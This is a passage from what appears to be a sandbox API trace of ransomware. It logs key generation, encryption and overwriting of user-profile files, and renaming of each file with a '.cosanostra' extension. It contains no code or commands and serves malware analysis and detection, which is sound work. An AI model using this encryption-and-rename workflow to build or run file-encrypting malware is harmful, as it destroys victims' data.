"c:\\users\\public\\desktop\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Desktop\\desktop.ini.cosanostra" (normalized: "c:\\users\\public\\desktop\\desktop.ini.cosanostra")) returned 1 [0090.690] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf430 | out: pbBuffer=0x2abf430) returned 1 [0090.690] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf428*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf428*=0x30) returned 1 [0090.691] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.691] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk") returned 46 [0090.691] StrStrW (lpFirst="Adobe Reader X.lnk", lpSrch=".txt") returned 0x0 [0090.692] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff817, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.692] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x7e9, lpNumberOfBytesWritten=0x2abf3ec, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf3ec*=0x7e9, lpOverlapped=0x0) returned 1 [0090.692] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.692] WriteFile (in: hFile=0x180, lpBuffer=0x2abf42c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf3ec, lpOverlapped=0x0 | out: lpBuffer=0x2abf42c*, lpNumberOfBytesWritten=0x2abf3ec*=0x4, lpOverlapped=0x0) returned 1 [0090.692] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf3ec, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf3ec*=0x30, lpOverlapped=0x0) returned 1 [0090.692] CloseHandle (hObject=0x180) returned 1 [0090.693] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk.cosanostra" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk.cosanostra")) returned 1 [0090.694] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf430 | out: pbBuffer=0x2abf430) returned 1 [0090.694] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf428*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf428*=0x30) returned 1 [0090.694] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Desktop\\.." (normalized: "c:\\users\\public"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.697] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf428 | out: pbBuffer=0x2abf428) returned 1 [0090.697] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf420*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf420*=0x30) returned 1 [0090.697] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Desktop\\." (normalized: "c:\\users\\public\\desktop\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.697] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf428 | out: pbBuffer=0x2abf428) returned 1 [0090.700] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf420*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf420*=0x30) returned 1 [0090.700] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\.." (normalized: "c:\\users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.700] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf420 | out: pbBuffer=0x2abf420) returned 1 [0090.700] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x2abf418*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x2abf418*=0x30) returned 1 [0090.700] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\." (normalized: "c:\\users\\public\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.701] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf420 | out: pbBuffer=0x2abf420) returned 1 [0090.701] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf418*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf418*=0x30) returned 1 [0090.701] CreateFileW (lpFileName="\\\\?\\C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.701] lstrlenW (lpString="\\\\?\\C:\\Users\\desktop.ini") returned 24 [0090.701] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.701] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.702] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x2abf3dc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf3dc*=0xae, lpOverlapped=0x0) returned 1 [0090.702] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.702] WriteFile (in: hFile=0x180, lpBuffer=0x2abf41c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf3dc, lpOverlapped=0x0 | out: lpBuffer=0x2abf41c*, lpNumberOfBytesWritten=0x2abf3dc*=0x4, lpOverlapped=0x0) returned 1 [0090.702] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf3dc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf3dc*=0x30, lpOverlapped=0x0) returned 1 [0090.702] CloseHandle (hObject=0x180) returned 1 [0090.702] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\desktop.ini.cosanostra" (normalized: "c:\\users\\desktop.ini.cosanostra")) returned 1 [0090.705] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf410 | out: pbBuffer=0x2abf410) returned 1 [0090.705] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf408*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf408*=0x30) returned 1 [0090.705] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Videos\\desktop.ini" (normalized: "c:\\users\\default\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.705] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Videos\\desktop.ini") returned 39 [0090.705] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.706] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.706] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x2abf3cc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf3cc*=0x1f8, lpOverlapped=0x0) returned 1 [0090.706] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.706] WriteFile (in: hFile=0x180, lpBuffer=0x2abf40c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf3cc, lpOverlapped=0x0 | out: lpBuffer=0x2abf40c*, lpNumberOfBytesWritten=0x2abf3cc*=0x4, lpOverlapped=0x0) returned 1 [0090.706] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf3cc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf3cc*=0x30, lpOverlapped=0x0) returned 1 [0090.706] CloseHandle (hObject=0x180) returned 1 [0090.706] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Videos\\desktop.ini" (normalized: "c:\\users\\default\\videos\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Videos\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\videos\\desktop.ini.cosanostra")) returned 1 [0090.707] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf410 | out: pbBuffer=0x2abf410) returned 1 [0090.707] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf408*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf408*=0x30) returned 1 [0090.707] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Videos\\.." (normalized: "c:\\users\\default"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.707] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf408 | out: pbBuffer=0x2abf408) returned 1 [0090.707] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf400*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf400*=0x30) returned 1 [0090.707] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Videos\\." (normalized: "c:\\users\\default\\videos\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.708] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf400 | out: pbBuffer=0x2abf400) returned 1 [0090.708] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3f8*=0x30) returned 1 [0090.709] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\default\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.709] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf400 | out: pbBuffer=0x2abf400) returned 1 [0090.709] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3f8*=0x30) returned 1 [0090.709] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\default\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.709] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3f8 | out: pbBuffer=0x2abf3f8) returned 1 [0090.709] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3f0*=0x30) returned 1 [0090.709] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\desktop.ini" (normalized: "c:\\users\\default\\searches\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.709] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Searches\\desktop.ini") returned 41 [0090.709] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.710] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffdf4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.710] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x2abf3b4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf3b4*=0x20c, lpOverlapped=0x0) returned 1 [0090.710] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.710] WriteFile (in: hFile=0x180, lpBuffer=0x2abf3f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf3b4, lpOverlapped=0x0 | out: lpBuffer=0x2abf3f4*, lpNumberOfBytesWritten=0x2abf3b4*=0x4, lpOverlapped=0x0) returned 1 [0090.710] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf3b4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf3b4*=0x30, lpOverlapped=0x0) returned 1 [0090.710] CloseHandle (hObject=0x180) returned 1 [0090.710] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Searches\\desktop.ini" (normalized: "c:\\users\\default\\searches\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Searches\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\searches\\desktop.ini.cosanostra")) returned 1 [0090.711] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3f8 | out: pbBuffer=0x2abf3f8) returned 1 [0090.711] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3f0*=0x30) returned 1 [0090.711] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\.." (normalized: "c:\\users\\default"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.711] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3f0 | out: pbBuffer=0x2abf3f0) returned 1 [0090.711] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3e8*=0x30) returned 1 [0090.711] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\." (normalized: "c:\\users\\default\\searches\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.713] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3e8 | out: pbBuffer=0x2abf3e8) returned 1 [0090.713] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3e0*=0x30) returned 1 [0090.713] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Saved Games\\desktop.ini" (normalized: "c:\\users\\default\\saved games\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.730] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Saved Games\\desktop.ini") returned 44 [0090.730] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.730] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffee6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.730] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2abf3a4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf3a4*=0x11a, lpOverlapped=0x0) returned 1 [0090.731] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.731] WriteFile (in: hFile=0x180, lpBuffer=0x2abf3e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2abf3e4*, lpNumberOfBytesWritten=0x2abf3a4*=0x4, lpOverlapped=0x0) returned 1 [0090.731] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf3a4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf3a4*=0x30, lpOverlapped=0x0) returned 1 [0090.731] CloseHandle (hObject=0x180) returned 1 [0090.731] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Saved Games\\desktop.ini" (normalized: "c:\\users\\default\\saved games\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Saved Games\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\saved games\\desktop.ini.cosanostra")) returned 1 [0090.731] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3e8 | out: pbBuffer=0x2abf3e8) returned 1 [0090.732] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3e0*=0x30) returned 1 [0090.732] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Pictures\\desktop.ini" (normalized: "c:\\users\\default\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.732] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Pictures\\desktop.ini") returned 41 [0090.732] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.732] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.733] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x2abf3a4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf3a4*=0x1f8, lpOverlapped=0x0) returned 1 [0090.733] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.733] WriteFile (in: hFile=0x180, lpBuffer=0x2abf3e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2abf3e4*, lpNumberOfBytesWritten=0x2abf3a4*=0x4, lpOverlapped=0x0) returned 1 [0090.733] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf3a4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf3a4*=0x30, lpOverlapped=0x0) returned 1 [0090.733] CloseHandle (hObject=0x180) returned 1 [0090.733] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Pictures\\desktop.ini" (normalized: "c:\\users\\default\\pictures\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Pictures\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\pictures\\desktop.ini.cosanostra")) returned 1 [0090.733] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3e0 | out: pbBuffer=0x2abf3e0) returned 1 [0090.733] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3d8*=0x30) returned 1 [0090.733] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Pictures\\.." (normalized: "c:\\users\\default"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.734] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3e0 | out: pbBuffer=0x2abf3e0) returned 1 [0090.734] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3d8*=0x30) returned 1 [0090.734] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Pictures\\." (normalized: "c:\\users\\default\\pictures\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.734] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3d8 | out: pbBuffer=0x2abf3d8) returned 1 [0090.734] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3d0*=0x30) returned 1 [0090.734] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\ntuser.ini" (normalized: "c:\\users\\default\\ntuser.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.734] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\ntuser.ini") returned 31 [0090.734] StrStrW (lpFirst="ntuser.ini", lpSrch=".txt") returned 0x0 [0090.735] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.735] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2abf394, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf394*=0x14, lpOverlapped=0x0) returned 1 [0090.735] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.735] WriteFile (in: hFile=0x180, lpBuffer=0x2abf3d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf394, lpOverlapped=0x0 | out: lpBuffer=0x2abf3d4*, lpNumberOfBytesWritten=0x2abf394*=0x4, lpOverlapped=0x0) returned 1 [0090.735] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf394, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf394*=0x30, lpOverlapped=0x0) returned 1 [0090.735] CloseHandle (hObject=0x180) returned 1 [0090.736] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\ntuser.ini" (normalized: "c:\\users\\default\\ntuser.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\ntuser.ini.cosanostra" (normalized: "c:\\users\\default\\ntuser.ini.cosanostra")) returned 1 [0090.736] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3d8 | out: pbBuffer=0x2abf3d8) returned 1 [0090.736] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3d0*=0x30) returned 1 [0090.736] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.737] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 113 [0090.737] StrStrW (lpFirst="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpSrch=".txt") returned 0x0 [0090.738] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.738] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf394, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf394*=0x2800, lpOverlapped=0x0) returned 1 [0090.738] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.738] WriteFile (in: hFile=0x180, lpBuffer=0x2abf3d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf394, lpOverlapped=0x0 | out: lpBuffer=0x2abf3d4*, lpNumberOfBytesWritten=0x2abf394*=0x4, lpOverlapped=0x0) returned 1 [0090.739] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, 